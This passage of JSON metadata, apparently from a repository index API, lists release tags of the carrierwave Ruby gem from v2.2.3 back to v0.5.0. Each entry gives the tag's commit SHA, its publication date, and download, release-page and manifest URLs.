af5df7d9acea95f46eaea456743241ef3d644f5","kind":"tag","published_at":"2022-11-21T09:10:29.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.3/manifests"},{"name":"v3.0.0.beta","sha":"6cb797aca9aaaf2e12257ced4f4709fbdafaff7c","kind":"tag","published_at":"2022-11-19T10:19:08.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.0.beta","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.0.beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.0.beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0.beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0.beta/manifests"},{"name":"v2.2.2","sha":"32abf5b2caf7baa8fca74324009bc1fe1acbed14","kind":"tag","published_at":"2021-05-28T10:09:04.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.2/manifests"},{"name":"v2.2.1","sha":"2dba2c1a45f3a8a4ac3e6abef3151dc2d8b9d641","kind":"tag","published_at":"2021-03-30T03:43:15.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.1/manifests"},{"name":"v2.2.0","sha":"13330a70323cde83b319520f5c1874227de79cdf","kind":"tag","published_at":"2021-02-23T08:00:28.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.0/manifests"},{"name":"v2.1.1","sha":"003e2ceeaa856f2605cf8096b401e76168ffc8ba","kind":"tag","published_at":"2021-02-08T04:52:04.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.1.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.1.1/manifests"},{"name":"v1.3.2","sha":"56f39b23d16431a79faf8e361d4ee08238db2f66","kind":"tag","published_at":"2021-02-08T04:29:33.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.2/manifests"},{"name":"v2.1.0","sha":"3356634d80d372c458030460978c3b63c006e042","kind":"tag","published_at":"2020-02-16T09:11:07.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.1.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.1.0/manifests"},{"name":"v2.0.2","sha":"f81bb4d90c610c4e5d68c2057ab977620d7089a1","kind":"tag","published_at":"2019-09-28T05:10:56.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.0.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.2/manifests"},{"name":"v2.0.1","sha":"e1c3eea981ad3963bf5bf5af586286abd1252caa","kind":"tag","published_at":"2019-08-31T03:41:02.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.0.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.1/manifests"},{"name":"v2.0.0","sha":"96a0b03c415f816d39f539126759f2278ce36c74","kind":"tag","published_at":"2019-08-18T04:29:55.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.0.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.0/manifests"},{"name":"v2.0.0.rc","sha":"0e8742be085410f1e08ef9f42c717267100d92e9","kind":"tag","published_at":"2019-06-23T08:23:34.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.0.0.rc","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.0.0.rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.0.0.rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.0.rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.0.rc/manifests"},{"name":"v1.3.1","sha":"9d17a443d39ddf0c44bac985f69bf4c94d923a16","kind":"tag","published_at":"2018-12-29T09:55:27.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.1/manifests"},{"name":"v1.3.0","sha":"930abb7b2043999b1648ba1c2274585ccaf014e4","kind":"tag","published_at":"2018-12-24T10:23:59.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.0/manifests"},{"name":"v1.2.3","sha":"61c3ba833e7d0f06da40c7672d9de1694d5f2cbc","kind":"tag","published_at":"2018-06-30T07:29:28.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.2.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.3/manifests"},{"name":"v1.2.2","sha":"9ffd67e4c443d4ab750352ad7470301908f4fdfb","kind":"tag","published_at":"2018-01-02T09:20:46.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.2.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.2/manifests"},{"name":"v1.2.1","sha":"32519e0df2739d82dfd89e6ca206da41346bb47d","kind":"tag","published_at":"2017-10-04T01:49:47.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.2.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.1/manifests"},{"name":"v1.2.0","sha":"63b9396960d7bbaa41f642c9ccd5519218c61103","kind":"tag","published_at":"2017-09-30T08:58:00.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.2.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.0/manifests"},{"name":"v1.1.0","sha":"07dc4d7bd7806ab4b963cf8acbad73d97cdfe74e","kind":"tag","published_at":"2017-04-30T06:05:05.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.1.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.1.0/manifests"},{"name":"v1.0.0","sha":"9a9c954a67e27b63b1cbef5e112ebe3542d1584b","kind":"tag","published_at":"2016-12-24T05:21:56.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.0.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0/manifests"},{"name":"v1.0.0.rc","sha":"1d2f26428fe944977a91fe5fdf2fb033d5a13239","kind":"tag","published_at":"2016-10-30T10:06:19.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.0.0.rc","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.0.0.rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.0.0.rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0.rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0.rc/manifests"},{"name":"v1.0.0.beta","sha":"c45699c318ca895f89fa3304204e48b5f1c411f1","kind":"tag","published_at":"2016-09-08T05:03:31.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.0.0.beta","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.0.0.beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.0.0.beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0.beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0.beta/manifests"},{"name":"v0.11.2","sha":"57923136a0a1fe55ab82875b8a3786194a3b2500","kind":"tag","published_at":"2016-05-06T15:15:36.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.11.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.11.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.11.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.2/manifests"},{"name":"v0.11.1","sha":"5837d6164017a2a274a03e5c170f3c0d62aac82f","kind":"tag","published_at":"2016-05-05T11:14:59.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.11.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.1/manifests"},{"name":"v0.11.0","sha":"0575791f77fe1c1f0d84de61eed07d0969d56505","kind":"tag","published_at":"2016-03-29T12:33:44.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.11.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.0/manifests"},{"name":"v0.10.0","sha":"3a0978a390de9d96d05e5befc40b2fabc27644cc","kind":"commit","published_at":"2014-02-26T23:07:47.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.10.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.10.0/manifests"},{"name":"v0.9.0","sha":"2e3881c400ced3a5ad6e3c4ffdc5fcf8c1ae32de","kind":"commit","published_at":"2013-07-06T22:01:10.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.9.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.9.0/manifests"},{"name":"v0.8.0","sha":"e28e64460e81524357b5c786a259eb4dd87a95e6","kind":"commit","published_at":"2013-01-08T16:16:47.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.8.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.8.0/manifests"},{"name":"v0.7.1","sha":"745db6e26f47adca3a28c93170b22216b5480f9a","kind":"commit","published_at":"2012-11-08T21:14:58.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.7.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.7.1/manifests"},{"name":"v0.7.0","sha":"1bc66f66a0adad864985e76db007b7eacca0fb21","kind":"commit","published_at":"2012-10-19T20:29:49.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.7.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.7.0/manifests"},{"name":"v0.6.2","sha":"5ee108128b40f2067c23971884a0ebf53213c860","kind":"commit","published_at":"2012-04-13T03:34:21.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.6.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.2/manifests"},{"name":"v0.6.1","sha":"9c6826394506bf41c94a30e41657a047bb099251","kind":"commit","published_at":"2012-04-03T00:51:41.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.6.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.1/manifests"},{"name":"v0.6.0","sha":"34aa12e9c6937cf0cdf9d447edccc6e25b9cbe6e","kind":"commit","published_at":"2012-03-27T20:37:03.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.6.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.0/manifests"},{"name":"v0.5.8","sha":"a0f8810996d43e005972a70b5715f0f7b2f4f132","kind":"tag","published_at":"2011-11-10T21:54:12.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.8","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.8/manifests"},{"name":"v0.5.7","sha":"661990936c3f498b850135c082da1d4f1f919172","kind":"tag","published_at":"2011-08-12T14:33:03.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.7","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.7/manifests"},{"name":"v0.5.6","sha":"2b91dc48bf46ad2a89ef0a3a7261f0b292c20d2f","kind":"tag","published_at":"2011-07-12T16:06:16.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.6","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.6/manifests"},{"name":"v0.5.5","sha":"0cfca5cf8e85663369dcb019a163e363bc370974","kind":"tag","published_at":"2011-07-09T15:44:58.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.5/manifests"},{"name":"v0.5.4","sha":"0436546b387690229324ff72ee41e64056b9fff3","kind":"tag","published_at":"2011-05-18T20:48:39.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.4/manifests"},{"name":"v0.5.3","sha":"4247285b33897d7b1f528ac8fddbb0e15bb9de97","kind":"tag","published_at":"2011-03-22T11:11:58.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.3/manifests"},{"name":"v0.5.2","sha":"e5ac58d715c4322eb5e37f9bea135f35009f68b0","kind":"tag","published_at":"2011-02-18T11:10:25.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.2/manifests"},{"name":"v0.5.1","sha":"85ddee1014806dd4ccea7d122fe23d14f0adc43e","kind":"commit","published_at":"2010-12-01T00:43:34.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.1/manifests"},{"name":"v0.5.0","sha":"7157a0ed628808225744b25798ba10841c929bc1","kind":"commit","published_at":"2010-09-23T16:27:37.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.0/manifest